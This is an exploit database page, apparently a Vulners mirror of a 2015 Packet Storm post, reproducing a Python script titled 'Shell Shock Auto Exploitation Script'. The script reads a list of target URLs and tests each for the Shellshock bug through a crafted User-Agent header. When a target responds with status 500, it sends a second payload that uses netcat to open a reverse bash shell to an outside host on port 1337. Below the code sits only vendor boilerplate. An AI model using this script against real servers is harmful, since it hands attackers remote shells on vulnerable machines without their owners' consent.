Lucene search
K

Shell Shock Auto Exploitation Script

🗓️ 06 Oct 2015 00:00:00Reported by Rafay BalochType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Shell Shock Auto Exploitation Script by Rafay Baloc

Code
`#Title: Shell Shock Auto Exploitation Script  
# Author: Rafay Baloch  
  
  
import requests,sys  
  
if (len(sys.argv) < 2):  
print "Usage: shocktest.py file.txt"  
exit(0)  
  
def main():  
file = sys.argv[1]  
with open(file) as f:  
file = f.read().splitlines()  
for url in file:  
cmd="() { test;};/bin/nopatchobfu"  
headers = {'user-agent': cmd}  
r=requests.get(url, headers=headers)  
if r.status_code == 500:  
print url,"is Vulnerable"  
print "Exploting.."  
exp = '() { :; }; /bin/bash -c "nc -v 1.0.0.1 1337 -e /bin/bash -i"'  
head = {'user-agent':exp}  
r=requests.get(url, headers=head)  
elif r.status_code:  
print url, "is not Vulnerable"  
  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation